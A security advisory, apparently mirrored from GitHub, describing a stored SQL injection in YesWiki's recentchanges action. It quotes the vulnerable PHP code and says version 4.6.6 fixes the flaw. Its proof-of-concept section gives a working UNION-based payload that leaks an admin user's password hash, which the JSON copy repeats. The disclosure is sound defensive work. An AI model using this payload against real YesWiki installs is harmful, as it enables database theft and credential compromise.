GHSA-89V6-J5X6-CMJ3

Vulnerability from github – Published: 2026-07-09 20:54 – Updated: 2026-07-09 20:54
VLAI
Summary
YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read
Details

Summary

The recentchanges action (actions/recentchanges.php) accepts a period argument from two disjoint parameter spaces: the URL query string ($_GET['period']) and the action invocation {{recentchanges period="..."}}. A whitelist at line 17 validates only the URL form against ['day','week','month']. The action-argument form takes the else branch at line 33 ($dateMin = $this->GetParameter('period')) with no validation, and the value flows into PageManager::getRecentlyChanged() (includes/services/PageManager.php:196), where it is interpolated into a WHERE time >= '...' ORDER BY time DESC clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via actions/recentchanges.php:43,58 (ComposeLinkToPage($page['tag'])), so any visitor of the trigger page sees the exfiltrated data.

The vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (default_write_acl='*'), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.

Details

Two issues compose the vulnerability.

  1. actions/recentchanges.php line 33 reads the action argument and skips the whitelist.

php if (isset($_GET['period']) && in_array($_GET['period'], ['day', 'week', 'month'])) { switch ($_GET['period']) { case 'day': $d = strtotime('-1 day'); $dateMin = date('Y-m-d H:i:s', $d); break; case 'week': $d = strtotime('-1 week'); $dateMin = date('Y-m-d H:i:s', $d); break; case 'month': $d = strtotime('-1 month'); $dateMin = date('Y-m-d H:i:s', $d); break; } } else { $dateMin = $this->GetParameter('period'); }

Wiki::GetParameter() (includes/YesWiki.php:895) reads $this->parameter[$key], which is populated from the {{action key=value}} argument list — disjoint from $_GET. The whitelist's if branch only runs when $_GET['period'] matches one of three exact values; in every other case the else branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.

  1. In includes/services/PageManager.php, PageManager::getRecentlyChanged() interpolates the value into SQL.

php public function getRecentlyChanged($limit = 50, $minDate = ''): ?array { if (!empty($minDate)) { if ($pages = $this->dbService->loadAll( 'select id, tag, time, user, owner from' . $this->dbService->prefixTable('pages') . "where latest = 'Y' and comment_on = '' and time >= '$minDate' order by time desc" )) { return $pages; } } }

$minDate is interpolated raw into the query and there is no $this->dbService->escape($minDate) and no parameter binding and no format check.

The default action ACL for recentchanges is * (includes/YesWiki.php:1100, GetModuleACL), so Performer::CheckModuleACL('recentchanges', 'action') returns true for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious period argument.

PoC

Default fresh install so default_write_acl='*'. 1. place the SQLi payload on a page

{{recentchanges period="2000-01-01' UNION SELECT 9999 AS id, CONCAT('LEAK_', name, '_', SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name='AdminUser' -- "}}

The five UNION columns match the id, tag, time, user, owner projection that getRecentlyChanged selects. The tag column is rendered into the response as a hyperlink, exfiltrating the leaked data.

  1. anyone visits the page
GET /?<TriggerPage> HTTP/1.1
Host: target.example

The injected query executes server-side; the tag column is rendered into the page in actions/recentchanges.php:43,58 via ComposeLinkToPage($page['tag']).

Impact

Arbitrary read of any DB column the application's MySQL user can access.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:54:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `recentchanges` action (`actions/recentchanges.php`) accepts a `period` argument from two disjoint parameter spaces: the URL query string (`$_GET[\u0027period\u0027]`) and the action invocation `{{recentchanges period=\"...\"}}`. A whitelist at line 17 validates only the URL form against `[\u0027day\u0027,\u0027week\u0027,\u0027month\u0027]`. The action-argument form takes the `else` branch at line 33 (`$dateMin = $this-\u003eGetParameter(\u0027period\u0027)`) with no validation, and the value flows into `PageManager::getRecentlyChanged()` (`includes/services/PageManager.php:196`), where it is interpolated into a `WHERE time \u003e= \u0027...\u0027 ORDER BY time DESC` clause without escaping or parameterization. UNION-based injection succeeds, the leaked rows render into the response page via `actions/recentchanges.php:43,58` (`ComposeLinkToPage($page[\u0027tag\u0027])`), so any visitor of the trigger page sees the exfiltrated data.\n\nThe vulnerability provides arbitrary read of the YesWiki database to anyone who can save the trigger page. On a default install (`default_write_acl=\u0027*\u0027`), this includes anonymous users, subject to the hashcash JS check on the page-edit form. Once the trigger page is saved, every subsequent view fires the injection as the SQLi is stored. Stored SQL injection is reachable through the page-edit flow, with arbitrary database read.\n\n### Details\n\nTwo issues compose the vulnerability.\n\n1. `actions/recentchanges.php` line 33 reads the action argument and skips the whitelist.\n\n   ```php\n   if (isset($_GET[\u0027period\u0027]) \u0026\u0026 in_array($_GET[\u0027period\u0027], [\u0027day\u0027, \u0027week\u0027, \u0027month\u0027])) {\n       switch ($_GET[\u0027period\u0027]) {\n           case \u0027day\u0027:   $d = strtotime(\u0027-1 day\u0027);   $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n           case \u0027week\u0027:  $d = strtotime(\u0027-1 week\u0027);  $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n           case \u0027month\u0027: $d = strtotime(\u0027-1 month\u0027); $dateMin = date(\u0027Y-m-d H:i:s\u0027, $d); break;\n       }\n   } else {\n       $dateMin = $this-\u003eGetParameter(\u0027period\u0027);   \n   }\n   ```\n\n   `Wiki::GetParameter()` (`includes/YesWiki.php:895`) reads `$this-\u003eparameter[$key]`, which is populated from the `{{action key=value}}` argument list \u2014 disjoint from `$_GET`. The whitelist\u0027s `if` branch only runs when `$_GET[\u0027period\u0027]` matches one of three exact values; in every other case the `else` branch reads the action argument with no validation, no escaping, no DateTime parse, no regex. The two parameter spaces are independent.\n\n2.  In `includes/services/PageManager.php`, `PageManager::getRecentlyChanged()` interpolates the value into SQL.\n\n   ```php\n   public function getRecentlyChanged($limit = 50, $minDate = \u0027\u0027): ?array\n   {\n       if (!empty($minDate)) {\n           if ($pages = $this-\u003edbService-\u003eloadAll(\n               \u0027select id, tag, time, user, owner from\u0027 . $this-\u003edbService-\u003eprefixTable(\u0027pages\u0027)\n               . \"where latest = \u0027Y\u0027 and comment_on = \u0027\u0027 and time \u003e= \u0027$minDate\u0027 order by time desc\"\n           )) {\n               return $pages;\n           }\n       }\n   }\n   ```\n\n   `$minDate` is interpolated raw into the query and there is no `$this-\u003edbService-\u003eescape($minDate)` and no parameter binding and no format check.\n\nThe default action ACL for `recentchanges` is `*` (`includes/YesWiki.php:1100`, `GetModuleACL`), so `Performer::CheckModuleACL(\u0027recentchanges\u0027, \u0027action\u0027)` returns `true` for everyone. The injection runs whenever a viewer reaches a page that embeds the action with a malicious `period` argument.\n\n### PoC\n\nDefault fresh install so `default_write_acl=\u0027*\u0027`.\n1. place the SQLi payload on a page\n\n```\n{{recentchanges period=\"2000-01-01\u0027 UNION SELECT 9999 AS id, CONCAT(\u0027LEAK_\u0027, name, \u0027_\u0027, SUBSTRING(password,1,32)) AS tag, NOW() AS time, name AS user, name AS owner FROM yeswiki_users WHERE name=\u0027AdminUser\u0027 -- \"}}\n```\n\nThe five UNION columns match the `id, tag, time, user, owner` projection that `getRecentlyChanged` selects. The `tag` column is rendered into the response as a hyperlink, exfiltrating the leaked data.\n\n2. anyone visits the page\n\n```http\nGET /?\u003cTriggerPage\u003e HTTP/1.1\nHost: target.example\n```\n\nThe injected query executes server-side; the `tag` column is rendered into the page in `actions/recentchanges.php:43,58` via `ComposeLinkToPage($page[\u0027tag\u0027])`.\n\n### Impact\n\nArbitrary read of any DB column the application\u0027s MySQL user can access.",
  "id": "GHSA-89v6-j5x6-cmj3",
  "modified": "2026-07-09T20:54:46Z",
  "published": "2026-07-09T20:54:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-89v6-j5x6-cmj3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/5da27474c3ee62270c8a6b9d7055d494cdbd38e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki: SQL injection via the `recentchanges` action `period` argument leads to arbitrary DB read"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…